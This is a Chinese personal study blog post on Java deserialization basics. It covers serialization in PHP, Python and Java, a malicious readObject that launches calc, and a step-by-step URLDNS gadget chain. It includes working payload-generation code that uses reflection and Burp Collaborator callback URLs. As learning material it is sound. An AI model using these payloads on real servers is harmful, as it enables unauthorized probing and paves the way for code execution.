Java安全初探_反序列化基础

学习笔记


最近开了个新坑:java安全,随便写点笔记

0x01 什么是序列化和反序列化?

​ 简单说就是让数据以流的形式在网络上传输(比如两个对象之间)或者被存储介质存储。序列化将对象转换为字节流,反序列化将字节流转换为数据。比如:A给B打电话,我们需要把声音信号转换成电/光等信号传输,然后收方再把电/光信号等还原成声音信号。

​ 当对象被序列化时,它的状态被转换为字节流并保存起来。这意味着即使程序结束或关闭,对象的状态仍然可以被保留。当需要重新使用对象时,可以通过反序列化将字节流转换回对象,并恢复对象的状态。

Java 中被创建的对象的声明周期一般不会比 JVM 的运行周期更长,JVM 运行结束以后,其创建的对象也就消失了。但在某些情况下,我们想要达到一种效果,即即使JVM 结束运行了,我们还可以用到之前所创建的对象,或者说,我们想要将之前创建的对象保存下来,以便进行传输,更或者说,让之前JVM 所创建的对象能够在另一个 JVM 中运行。要达到这样的功能,就可以采用 Java 中的序列化和反序列化机制。

​ 不光在java中,php、python均存在序列化和反序列化,下面举几个简单栗子。

0x02 php, python, java中的序列化和反序列化

  • PHP

写这段PHP的时候才意识到自己已经24岁了:)还不太习惯($this->age = ‘24’)

希望时间过的慢点捏:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
class Notbad{
public $name;
public $gender;
public $age;
public function __construct(){
$this->name = 'viper3';
$this->gender = 'male';
$this->age = '24';
}
}
$a = new Notbad();
$b = serialize($a);
echo $b;
echo '<br\>';
var_dump (unserialize($b));
?>

//O:6:"Notbad":3:{s:4:"name";s:6:"viper3";s:6:"gender";s:4:"male";s:3:"age";s:2:"23";}

//object(Notbad)#2 (3) {
["name"]=>
string(6) "viper3"
["gender"]=>
string(4) "male"
["age"]=>
string(2) "23"
}

  • python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import pickle

# 定义一个类
class Person:
def __init__(self, name, age):
self.name = name
self.age = age

# 创建一个Person对象
person = Person("Alice", 25)

# 序列化对象
serialized_data = pickle.dumps(person)

# 打印序列化后的字节流
print(serialized_data)

# 反序列化对象
deserialized_person = pickle.loads(serialized_data)

# 打印反序列化后的对象属性

print(deserialized_person.name)
print(deserialized_person.age)

/*b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x05Alice\x94\x8c\x03age\x94K\x19ub.'
Alice
25

#当然也可以使用Json.dumps()函数将对象序列化成Json格式:
import json

# 定义一个字典
data = {
"name": "Alice",
"age": 25,
"city": "New York"
}

# 序列化数据为字符串
serialized_data = json.dumps(data)

# 打印序列化后的字符串
print(serialized_data)

#
{"name": "Alice", "age": 25, "city": "New York"}
  • java

Java反序列化的操作,很多是需要开发者深入参与的,大量的库都会实现readObject、writeObject方法,这和PHP中的__wakeup、__sleep很少使用是存在鲜明对比的。

Java在序列化一个对象时,将会调用这个对象中的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入这个流当中,反序列化时会调用readObject,开发者也可以从中读取前面写入的内容,并进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//参考了mochu7师傅的文章
package StudyUnserialiation;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;//Serializable是一个标记接口,用于标识一个类可以被序列化

public class Person implements java.io.Serializable {//implements是一个关键字,用于表示一个类实现了一个接口。
public String name;
public int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

private void writeObject(ObjectOutputStream s) throws Exception {
s.defaultWriteObject();
s.writeObject("This is Object");
}

private void readObject(ObjectInputStream s) throws Exception {
s.defaultReadObject();
s.readObject();
String message = (String) s.readObject();
System.out.println(message);
}

@Override//重写
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
//writeObject和readObject方法可以完全自定义。当一个类实现了Serializable接口时,它可以选择重写这两个方法来自定义对象的序列化和反序列化过程。
//writeObject方法用于将对象序列化为字节流。当对象被序列化时,writeObject方法会被自动调用。在这个方法中,可以自定义需要序列化的字段和逻辑。例如,可以在序列化过程中对某些字段进行加密或压缩操作。
//readObject方法用于将字节流反序列化为对象。当对象被反序列化时,readObject方法会被自动调用。在这个方法中,可以自定义需要反序列化的字段和逻辑。例如,可以在反序列化过程中对某些字段进行解密或解压操作。

0x03 java反序列化基础

在Java中,如果一个类需要被序列化和反序列化,需要实现java.io.Serializable接口,比如:

1
2
3
4
public class Person implements Serializable{
private int age;
private String name;
}

Java原生实现了一套序列化的机制,我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的的writeObject方法即可,比如要对下面这个Person类进行序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Persona implements Serializable { //注意这个接口
private String name;
private int age;

public Persona() {
System.out.println("无参构造.");
}

public Persona(String name, int age) {
this.name = name;
this.age = age;
System.out.println("有参构造.");
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
//参考https://dyfloveslife.github.io/2020/03/21/Serialization-and-Deserialization-in-Java/

将其序列化,将对象的信息写入到abc.txt文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileOutputStream;

public class SerializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Persona person = new Persona("zhangsan", 24);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.txt"));
oos.writeObject(person);
oos.close();
}
}
//ObjectOutputStream 是一个用于将对象序列化为字节流的类。
//writeObject 方法将 person 对象写入到 ObjectOutputStream中

输出结果:

1
有参构造.

可以打开abc.txt看看怎么个事:

javafan1

反序列化对象时,需要创建一个 ObjectInputStream 输入流,然后调用ObjectInputStream对象的 readObject() 方法得到序列化的对象即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class UnSerializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("abc.txt"));
Persona p = (Persona) ois.readObject();//注意这里的强制类型转换
System.out.println(p);
}
}

结果:

1
Person{name='zhangsan', age=24}

0x04 java反序列化实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//参考https://xilitter.github.io/2023/02/23/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80/
//Persion改成Person
import java.io.*;
import java.io.Serializable;

public class test01 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Persion persion = new Persion("notbad3",23);//实例化一个对象
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//它是一个字节数组输出流,用于将序列化后的对象输出到字节数组中。
ObjectOutputStream ObjectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
//将persion对象序列化输出到byteArrayOutputStream对象中
ObjectOutputStream.writeObject(persion);

System.out.println(byteArrayOutputStream);//打印
System.out.println("------------------------");
FileOutputStream fileOutputStream = new FileOutputStream("data.bin");
//将二进制数据输出到文件中
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
//序列化
oos.writeObject(persion);

FileInputStream fileInputStream = new FileInputStream("data.bin");
//创建对象从二进制文件中读取
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//反序列化
Persion newpersion =(Persion) objectInputStream.readObject();
//从 fileInputStream 中读取序列化后的对象,并将其转换成 Persion 对象类型。
System.out.println(newpersion);//反序列化输出调用tostring函数,因为这里我们把一个对象输出了
}
}


class Persion implements Serializable{
// private transient String name;
private String name;
private int age;
public Persion(String name,int age){
this.age = age;
this.name = name;
}
public String toString(){
return "Persion{"+"'name'="+this.name+",'age'="+this.age+"}";
}
}


在反序列化过程中会调用toString函数,将字符串输出出来。

1
2
3
public String toString(){
return "Persion{"+"'name'="+this.name+",'age'="+this.age+"}";
}

这东西其实就是toString的重写

javaafan2

​ 如果不重写使用默认的toString方法,toString() 方法会返回一个字符串,其中包含类的名称,后跟一个 ‘@’ 符号和对象的哈希码:

javafan5

​ 我们可以使用transient关键字,将一些重要的信息(如密码)不被进行序列化,如果某个属性被transient关键字修饰的话,则该属性不会参与到序列化的过程,此时将其进行反序列化后,如果该属性是引用数据类型,则返回的是 null,如果该属性是基本数据类型(如 int 类型),则会返回默认值 0(当然,boolean 的默认值是 false)。在上面那段代码的基础上做如下修改:

1
//private String name; - > private transient String name;

javaafan3

0x05 重写

​ 上面的栗子中对toString方法进行了重写,在实现 Serializable 接口的同时,还可以重写 writeObject() readObject()方法,这样一旦对象被序列化或被反序列化,就会自动的调用这两个方法,而不会使用默认的序列化机制。

​ 造成反序列化最重要的一点就是如果被反序列化的类重写了writeObjectreadObject方法,java就会调用重写的方法。如果该重写方法中添加了恶意的,能执行命令的代码,就会达到反序列化攻击的目的。比如还是之前的Person类,但我重写了该类中的readObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable{

private String name;
private int age;
public Person(){

}
public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name:'" + name + '\''+
", age:" + age +
"}";
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

上述代码重写了readObject方法,并且添加了弹出计算器的命令,反序列化时会执行它的readObject,看看效果:

javafan4

​ 成功弹出计算器。这样攻击看起来很方便,直接在服务端上传一个重写了readObject方法的类的序列化串,直接能够命令执行。但是这种方式几乎不会出现。为什么?作为后端开发人员,不可能会在代码中留下这么危险的readObject方法,即使有,无源码的情况下,我们也不会知道所属该方法的类名。(因为服务端反序列化的也只有自己的类)普遍的反序列化攻击方式包含三个部分:

入口类:重写了readObject方法,并且是能够被反序列化的,最好是jdk自带的。例如HashMap

调用链:一个类的方法包含另一个类调用同名同类型的方法

执行类:能够命令执行或者远程写文件的类

URLDNS链分析

入口类选择了Hashmap,跟进查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//继承了Serializable接口
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
//重写了readObject方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
//后面省略

服务端发起DNS请求,找URL类看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//同样可以被反序列化
public final class URL implements java.io.Serializable {

static final String BUILTIN_HANDLERS_PREFIX = "sun.net.www.protocol";
static final long serialVersionUID = -7627629688361524110L;
//存在同名函数hashCode
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}
//handler.hashCode函数
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);

最终会在URLStreamHandler类调用getHostAddress函数发起域名解析请求。所以这条链就只有两部分HashMap->URL

而且,HashMapreadObject调用了hash方法,在hash方法中也调用了hashcode方法,正好可以走到URLhashcode里。

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerilizePerson {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("viper1.txt"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://ezh5awfh6q670nk11meskg0gr7xxlm.burpcollaborator.net"),1);
serialize(hashMap);
}

但上述代码在序列化过程中也会发起DNS请求:

javafanstudy1

甚至没有序列化都会收到请求,为什么?跟进到put方法:

1
2
3
4
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

为了确保键的唯一性,它会去计算key的hash值,跟进hash方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

它最后也会调用hashCode方法。所以在put的时候它就发起了一个DNS请求:

1
hashMap.put(new URL("http://ezh5awfh6q670nk11meskg0gr7xxlm.burpcollaborator.net"),1);

另外,在我们分析攻击链的时候,如果hashCode的值不等于-1,就会返回hashCode,而不会去调用handler.hashCode。它在初始化的时候为-1:

1
2
3
4
5
6
7
8
    public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
//---------------------------------------------
private int hashCode = -1;

接下来调用put函数的时候,hashCode就变成了key的哈希值。也就是说,在反序列化的时候并不会发起DNS请求(不满足hashCode的条件),这就是一个无效链,所以我们需要调整一下代码。

1.序列化不发起请求。

2.在put后hashcode的值为-1。

可以通过反射改变已有对象的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerilizePerson {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("viper00.txt"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
/*Person person = new Person("rdj",24);
System.out.println(person);
serialize(person);*/
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://rvqbods4viqkcjfzeunt7qij7ad01p.burpcollaborator.net");
Class c = url.getClass();
Field hashcode1 = c.getDeclaredField("hashCode");
hashcode1.setAccessible(true);
hashcode1.set(url,1234);
hashMap.put(url,1);
serialize(hashMap);
}
}

可以看到此时没有收到新的DNS请求:

javafanstudy2

然后反序列化就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.*;

public class UnserilizePerson {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
unserialize("viper00.txt");
}
}

其实关键代码就这么几行:

1
2
3
4
5
6
7
8
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://rvqbods4viqkcjfzeunt7qij7ad01p.burpcollaborator.net");
Class c = url.getClass();
Field hashcode1 = c.getDeclaredField("hashCode");
hashcode1.setAccessible(true);
hashcode1.set(url,1234);
hashMap.put(url,1);
serialize(hashMap);

入口A:Hashmap 接收一个参数O

目标类B:URL

目标调用B.f

A.readPbject -> O.f(这时我们传进去B被当成O,也就调用了B.f)

我们的入口类是HashMap,在反序列化的时候,它会调用重写的readObject方法,而在该方法里,它会计算第一个参数,也就是key的hash值,进而调用hash函数,进而调用key的hashCode函数。而我们的目标方法就是URL原生类的hashCode方法,满足调用链的同名同类型,让key传入URL对象,即为完整的攻击链。

1
HashMap.readObject()->hash()->key.hashCode()->URL.hashCode->handler.hashCode()->getHostAddress()

JDK动态代理

对于下面这段代码:

1
2
3
4
5
6
7
public class Student {
public void eat(){
sout('拿筷子');
sout('盛饭');//增加的功能
sout('吃饭');//增加的功能
}
}

可以无侵入式的给代码增加额外的功能。

javalearn72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//Bigstar.java
public class Bigstar implements Star {
private String name;

public Bigstar(){
}
public Bigstar(String name){
this.name = name;
}
@override
public String sing(){
sout(this.name + "正在唱" + name);
return "谢谢";
}
@override
public void dance(){
sout (this.name + "正在跳舞");
}
//getname setname懒得写了。。。
}


//Star.java

public interface Star {

//我们可以把所有想要被代理的方法定义在接口当中,注意接口里的方法都应是抽象方法

//唱
public abstract String sing(String name);

//跳
public abstract void dance();


}

javalearn73

javalearn747

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//IUser.java
public interface IUser {
void show();
}
//proxtwhat.java
public class proxywhat implements IUser {
public proxywhat(){

};
@Override
public void show(){

System.out.println("展示");

}
}
//proxytest.java
public class proxytest {
public static void main(String[] args) {
IUser user = new proxywhat();
user.show();
}
}
//结果:展示

1
2
3
4
5
6
7
8
9
10
11
public class ProxyUtil {
/*
方法作用:给一个明星的对象创建一个代理
形参:被代理的明星对象
返回值:给明星创建的代理
*/
public static Star createProxy(BigStar bigstar){


}
}

类加载

类加载机制:

  • 类加载与反序列化

类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块,无参构造函数

  • 动态类加载方法

参考文章:

1
2
3
4
5
6
https://blog.csdn.net/mocas_wang/article/details/107621010?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170149064516800213084111%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170149064516800213084111&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-107621010-null-null.142^v96^pc_search_result_base9&utm_term=mocas_wang&spm=1018.2226.3001.4187
https://blog.csdn.net/qq_62414755/article/details/125886742?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170149059516800188587075%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170149059516800188587075&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-125886742-null-null.142^v96^pc_search_result_base9&utm_term=java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
https://blog.csdn.net/mochu7777777/article/details/130221488?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170149059516800188587075%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170149059516800188587075&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-130221488-null-null.142^v96^pc_search_result_base9&utm_term=java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
https://dyfloveslife.github.io/2020/03/21/Serialization-and-Deserialization-in-Java/
https://websec.readthedocs.io/zh/latest/language/java/unserialize.html
https://xilitter.github.io/2023/02/23/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80/

Java安全初探_反序列化基础
http://example.com/2023/12/30/Java安全学习笔记_反序列化/
作者
notbad3
发布于
2023年12月30日
许可协议